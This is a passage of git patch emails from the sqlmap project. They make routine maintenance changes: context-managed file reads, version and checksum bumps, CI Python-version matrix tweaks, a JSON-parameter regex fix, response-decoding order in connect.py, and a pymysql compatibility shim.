-ba3f0002aa93f8f21f06dbea343573c590b9e6ec160fc6668c15e68a970cfb12 lib/core/common.py +a4863238aba3a2d203c26127a4a7a6df873bd0c6f1cd798d4a7abcdc71a07cb6 lib/core/common.py 5c26b0f308266bc3a9679ef837439e38d1dc7a69eac6bd3422280f49aaf114d2 lib/core/compat.py b60c96780cad4a257f91a0611b08cfcc52f242908c5d5ab2bf9034ef07869602 lib/core/convert.py 5e381515873e71c395c77df00bf1dd8c4592afc6210a2f75cbc20daf384e539f lib/core/data.py @@ -187,11 +187,11 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -df96b0f2f935c583492c6331c6f222427976606af9a03ee5f05755a697ea7cec lib/core/settings.py +4cc89d1791e21b3bb4739039cb7eb57659370ab7008902eb80871c85a52c263f lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py -5941a7a641ea58b1d9e59ab3c9f4e9e40566ba08842e1cadb51ea8df9faf763f lib/core/testing.py +970b1c3e59481f11dd185bdde52f697f7d8dfc3152d24e3d336ec3fab59a857c lib/core/testing.py 8cb7424aa9d42d028a6780250effe4e719d9bb35558057f8ebe9e32408a6b80f lib/core/threads.py ff39235aee7e33498c66132d17e6e86e7b8a29754e3fdecd880ca8356b17f791 lib/core/unescaper.py 2984e4973868f586aa932f00da684bf31718c0331817c9f8721acd71fd661f89 lib/core/update.py diff --git a/lib/core/common.py b/lib/core/common.py index 1be307c9de1..dd5fc7151f2 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1333,7 +1333,10 @@ def isZipFile(filename): checkFile(filename) - return openFile(filename, "rb", encoding=None).read(len(ZIP_HEADER)) == ZIP_HEADER + with openFile(filename, "rb", encoding=None) as f: + header = f.read(len(ZIP_HEADER)) + + return header == ZIP_HEADER def isDigit(value): """ @@ -2533,21 +2536,22 @@ def initCommonOutputs(): kb.commonOutputs = {} key = None - for line in openFile(paths.COMMON_OUTPUTS, 'r'): - if line.find('#') != -1: - line = line[:line.find('#')] + with openFile(paths.COMMON_OUTPUTS, 'r') as f: + for line in f: + if line.find('#') != -1: + line = line[:line.find('#')] - line = line.strip() + line = line.strip() - if len(line) > 1: - if line.startswith('[') and line.endswith(']'): - key = line[1:-1] - elif key: - if key not in kb.commonOutputs: - kb.commonOutputs[key] = set() + if len(line) > 1: + if line.startswith('[') and line.endswith(']'): + key = line[1:-1] + elif key: + if key not in kb.commonOutputs: + kb.commonOutputs[key] = set() - if line not in kb.commonOutputs[key]: - kb.commonOutputs[key].add(line) + if line not in kb.commonOutputs[key]: + kb.commonOutputs[key].add(line) def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False): """ @@ -5594,7 +5598,9 @@ def checkSums(): expected, filename = match.groups() filepath = os.path.join(paths.SQLMAP_ROOT_PATH, filename).replace('/', os.path.sep) checkFile(filepath) - if not hashlib.sha256(open(filepath, "rb").read()).hexdigest() == expected: + with open(filepath, "rb") as f: + content = f.read() + if not hashlib.sha256(content).hexdigest() == expected: retVal &= False break diff --git a/lib/core/settings.py b/lib/core/settings.py index 09121dae255..8383d26d5e1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.4.3" +VERSION = "1.8.4.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 319ac88bbe1..bb6af1ab6ff 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -162,7 +162,9 @@ def _thread(): direct = "sqlite3://%s" % database tmpdir = tempfile.mkdtemp() - content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url) + with open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))) as f: + content = f.read().replace("url =", "url = %s" % url) + with open(config, "w+") as f: f.write(content) f.flush() @@ -214,7 +216,9 @@ def smokeTest(): unisonRandom() - content = open(paths.ERRORS_XML, "r").read() + with open(paths.ERRORS_XML, "r") as f: + content = f.read() + for regex in re.findall(r'', content): try: re.compile(regex) From 46cc0c29413f3588836a8800dedc184c83502ee2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 29 Apr 2024 15:47:26 +0200 Subject: [PATCH 066/853] Fixes #5698 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/request/connect.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d562ac1c96a..be82de754fa 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -4cc89d1791e21b3bb4739039cb7eb57659370ab7008902eb80871c85a52c263f lib/core/settings.py +1cde3110b9410c41aa18f87904f5f083cc9deff239adec3412e4a008e8fbc3d2 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -210,7 +210,7 @@ b48edf3f30db127b18419f607894d5de46fc949d14c65fdc85ece524207d6dfd lib/parse/html c8446d4a50f06a50d7db18adc04c321e12cd2d0fa8b04bd58306511c89823316 lib/request/basic.py ead55e936dfc8941e512c8e8a4f644689387f331f4eed97854c558be3e227a91 lib/request/chunkedhandler.py 06128c4e3e0e1fe34618de9d1fd5ee21292953dce4a3416567e200d2dfda79f2 lib/request/comparison.py -00b23e22a65889829f4ffe65eea5e2bd5cf6ceab4f9b0f32b05047335b0b4a3e lib/request/connect.py +aae5237e90a92f302be8bd0b682670e168a28c038764ce53d3cc6a02ecff8743 lib/request/connect.py 470e96857a7037a2d74b2c4b1c8c5d8379b76ea8cbdb1d8dd4367a7a852fa93c lib/request/direct.py e802cc9099282764da0280172623600b6b9bb9fe1c87f352ade8be7a3f622585 lib/request/dns.py 226226c2b8c906e0d0612ea68404c7f266e7a6685e0bf233e5456e10625b012d lib/request/httpshandler.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 8383d26d5e1..2b29c856aa1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.4.5" +VERSION = "1.8.4.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 4b341eccda2..7d9ec39290a 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1183,7 +1183,7 @@ def _adjustParameter(paramString, parameter, newValue): if match: retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString) else: - match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString, re.I) + match = re.search(r"(%s[\"']\s*:\s*[\"'])([^\"']*)" % re.escape(parameter), paramString, re.I) if match: retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString) From 163a5f374a0ec284f376d0a2ddde3b8474d28054 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 29 Apr 2024 15:51:48 +0200 Subject: [PATCH 067/853] Trying to fix the failing CI --- .github/workflows/tests.yml | 2 +- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 40f0bdac166..8b6f7a6c300 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macos-latest, windows-latest] - python-version: [ '3.11', 'pypy-2.7', 'pypy-3.7' ] + python-version: [ '3.11', 'pypy-2.7', 'pypy-3.9' ] steps: - uses: actions/checkout@v2 - name: Set up Python diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index be82de754fa..6a261e8fd21 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -1cde3110b9410c41aa18f87904f5f083cc9deff239adec3412e4a008e8fbc3d2 lib/core/settings.py +42d5257804edb1f0f5251774a1931e16eab6c4aec1ece3dd27f95fc62fca1f90 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 2b29c856aa1..572d8d87358 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.4.6" +VERSION = "1.8.4.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 9bbf70790cee30cc3e6b23cd7d9fc9981398d8ad Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 9 May 2024 16:14:57 +0200 Subject: [PATCH 068/853] Patch related to the #5700 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/request/connect.py | 12 ++++++------ 3 files changed, 9 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 6a261e8fd21..bd55bc102ff 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -42d5257804edb1f0f5251774a1931e16eab6c4aec1ece3dd27f95fc62fca1f90 lib/core/settings.py +3f14500213dde69e2833c7f1e3c6c81695605f72ecc3ef0ebcc5df66a562231e lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -210,7 +210,7 @@ b48edf3f30db127b18419f607894d5de46fc949d14c65fdc85ece524207d6dfd lib/parse/html c8446d4a50f06a50d7db18adc04c321e12cd2d0fa8b04bd58306511c89823316 lib/request/basic.py ead55e936dfc8941e512c8e8a4f644689387f331f4eed97854c558be3e227a91 lib/request/chunkedhandler.py 06128c4e3e0e1fe34618de9d1fd5ee21292953dce4a3416567e200d2dfda79f2 lib/request/comparison.py -aae5237e90a92f302be8bd0b682670e168a28c038764ce53d3cc6a02ecff8743 lib/request/connect.py +45f365239c48f2f6b8adc605b2f33b3522bda6e3248589dae909380434aaa0ad lib/request/connect.py 470e96857a7037a2d74b2c4b1c8c5d8379b76ea8cbdb1d8dd4367a7a852fa93c lib/request/direct.py e802cc9099282764da0280172623600b6b9bb9fe1c87f352ade8be7a3f622585 lib/request/dns.py 226226c2b8c906e0d0612ea68404c7f266e7a6685e0bf233e5456e10625b012d lib/request/httpshandler.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 572d8d87358..d78cf6fb96b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.4.7" +VERSION = "1.8.5.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 7d9ec39290a..bb9a95c63d9 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -914,12 +914,6 @@ class _(dict): raise SqlmapConnectionException(warnMsg) finally: - if isinstance(page, six.binary_type): - if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]): - page = six.text_type(page, errors="ignore") - else: - page = getUnicode(page) - for function in kb.postprocessFunctions: try: page, responseHeaders, code = function(page, responseHeaders, code) @@ -928,6 +922,12 @@ class _(dict): errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex)) raise SqlmapGenericException(errMsg) + if isinstance(page, six.binary_type): + if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]): + page = six.text_type(page, errors="ignore") + else: + page = getUnicode(page) + for _ in (getattr(conn, "redcode", None), code): if _ is not None and _ in conf.abortCode: errMsg = "aborting due to detected HTTP code '%d'" % _ From 514a1291e40c7260774c05c7d3ed3ce4dd364599 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 9 May 2024 18:24:06 +0200 Subject: [PATCH 069/853] Reducing python-version support to fix CI/CD --- .github/workflows/tests.yml | 2 +- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 8b6f7a6c300..45ebb96d30f 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macos-latest, windows-latest] - python-version: [ '3.11', 'pypy-2.7', 'pypy-3.9' ] + python-version: [ '2.6', '3.11' ] steps: - uses: actions/checkout@v2 - name: Set up Python diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index bd55bc102ff..166d7e96050 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -3f14500213dde69e2833c7f1e3c6c81695605f72ecc3ef0ebcc5df66a562231e lib/core/settings.py +ad6bc4b5d233d08928a9943136778eae8af9615f383cc166493378314c0b3f62 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index d78cf6fb96b..c603e5d0e57 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.5.0" +VERSION = "1.8.5.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 74ca0eda56da189b8bd899f8dbb7d794594062fd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 9 May 2024 18:25:11 +0200 Subject: [PATCH 070/853] Another reduce of python-version --- .github/workflows/tests.yml | 2 +- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 45ebb96d30f..43b01cf90fe 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macos-latest, windows-latest] - python-version: [ '2.6', '3.11' ] + python-version: [ 'pypy-2.7', '3.11' ] steps: - uses: actions/checkout@v2 - name: Set up Python diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 166d7e96050..062426656a0 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -ad6bc4b5d233d08928a9943136778eae8af9615f383cc166493378314c0b3f62 lib/core/settings.py +e9738433005592528402228e2223a827cca4151fa0e4aeee57422caf290a448a lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index c603e5d0e57..ab2b68a844b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.5.1" +VERSION = "1.8.5.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 3cc19816ccc97089ce8a545aa71e1f601d669849 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 9 May 2024 18:30:55 +0200 Subject: [PATCH 071/853] Removing problematic combo from CI/CD testing --- .github/workflows/tests.yml | 3 +++ data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 5 insertions(+), 2 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 43b01cf90fe..d62568211e6 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -11,6 +11,9 @@ jobs: matrix: os: [ubuntu-latest, macos-latest, windows-latest] python-version: [ 'pypy-2.7', '3.11' ] + exclude: + - os: macos-latest + python-version: 'pypy-2.7' steps: - uses: actions/checkout@v2 - name: Set up Python diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 062426656a0..f755134058c 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -e9738433005592528402228e2223a827cca4151fa0e4aeee57422caf290a448a lib/core/settings.py +b10b566cb2b637c41f45427278dd4d3c3f9192057f42eea715defa8a02be5aea lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index ab2b68a844b..80f59753569 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.5.2" +VERSION = "1.8.5.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 507c719bef86ede55469ef464c605d2d423250c8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 9 May 2024 18:42:30 +0200 Subject: [PATCH 072/853] Trying python3.12 in CI/CD tests --- .github/workflows/tests.yml | 2 +- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index d62568211e6..802ff8a40fd 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macos-latest, windows-latest] - python-version: [ 'pypy-2.7', '3.11' ] + python-version: [ 'pypy-2.7', '3.12' ] exclude: - os: macos-latest python-version: 'pypy-2.7' diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index f755134058c..8efc2d2321d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -b10b566cb2b637c41f45427278dd4d3c3f9192057f42eea715defa8a02be5aea lib/core/settings.py +e16439535272761c10e7bb8453b5009a18941f86574ea95bdb9337f48af82e75 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 80f59753569..6f5d4dc1675 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.5.3" +VERSION = "1.8.5.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From e3669c09263e0a80519e79147a84c25d292f1207 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 5 Jun 2024 10:06:06 +0200 Subject: [PATCH 073/853] Patch related to the #5727 --- data/txt/sha256sums.txt | 4 ++-- lib/core/patch.py | 10 +++++++++- lib/core/settings.py | 2 +- 3 files changed, 12 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 8efc2d2321d..3d9a4c04ea5 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -181,13 +181,13 @@ e8f6f1df8814b7b03c3eba22901837555083f66c99ee93b943911de785736bfa lib/core/dicts fce3fd4b161ec1c6e9d5bf1dca5bc4083e07d616ed2c14b798e96b60ec67c2b2 lib/core/log.py 4caebf27d203673b8ad32394937397319f606c4e1f1e1a2a221402d39c644b40 lib/core/optiondict.py 33e0ec9ed38ae1ac74f1e2e3a1a246dee44c167723c9df69635793bfdbd971df lib/core/option.py -fdce95c552a097bf0dd44e5d6be2204c4c458d490e62c4d9d68fca5e2dc37c48 lib/core/patch.py +0d9c78f2df757a59538a01cbc76d076b5f58be212aaacb42b981d03ef5b8bd3f lib/core/patch.py bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profiling.py 4ccce0d53f467166d4084c9ef53a07f54cc352e75f785454a31c8a820511a84e lib/core/readlineng.py 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -e16439535272761c10e7bb8453b5009a18941f86574ea95bdb9337f48af82e75 lib/core/settings.py +29575cb33add984f5358380025db262f4875160869941fd3a882896fc5e94e70 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/lib/core/patch.py b/lib/core/patch.py index a5d821291ac..63b461de0b7 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -86,7 +86,7 @@ def _(self, *args): if match and match.group(1).upper() != PLACE.POST: PLACE.CUSTOM_POST = PLACE.CUSTOM_POST.replace("POST", "%s (body)" % match.group(1)) - # https://github.com/sqlmapproject/sqlmap/issues/4314 + # Reference: https://github.com/sqlmapproject/sqlmap/issues/4314 try: os.urandom(1) except NotImplementedError: @@ -95,6 +95,14 @@ def _(self, *args): else: os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size)) + # Reference: https://github.com/sqlmapproject/sqlmap/issues/5727 + # Reference: https://stackoverflow.com/a/14076841 + try: + import pymysql + pymysql.install_as_MySQLdb() + except (ImportError, AttributeError): + pass + # Reference: https://github.com/bottlepy/bottle/blob/df67999584a0e51ec5b691146c7fa4f3c87f5aac/bottle.py # Reference: https://python.readthedocs.io/en/v2.7.2/library/inspect.html#inspect.getargspec if not hasattr(inspect, "getargspec") and hasattr(inspect, "getfullargspec"): diff --git a/lib/core/settings.py b/lib/core/settings.py index 6f5d4dc1675..82be3300894 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.5.4" +VERSION = "1.8.6.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 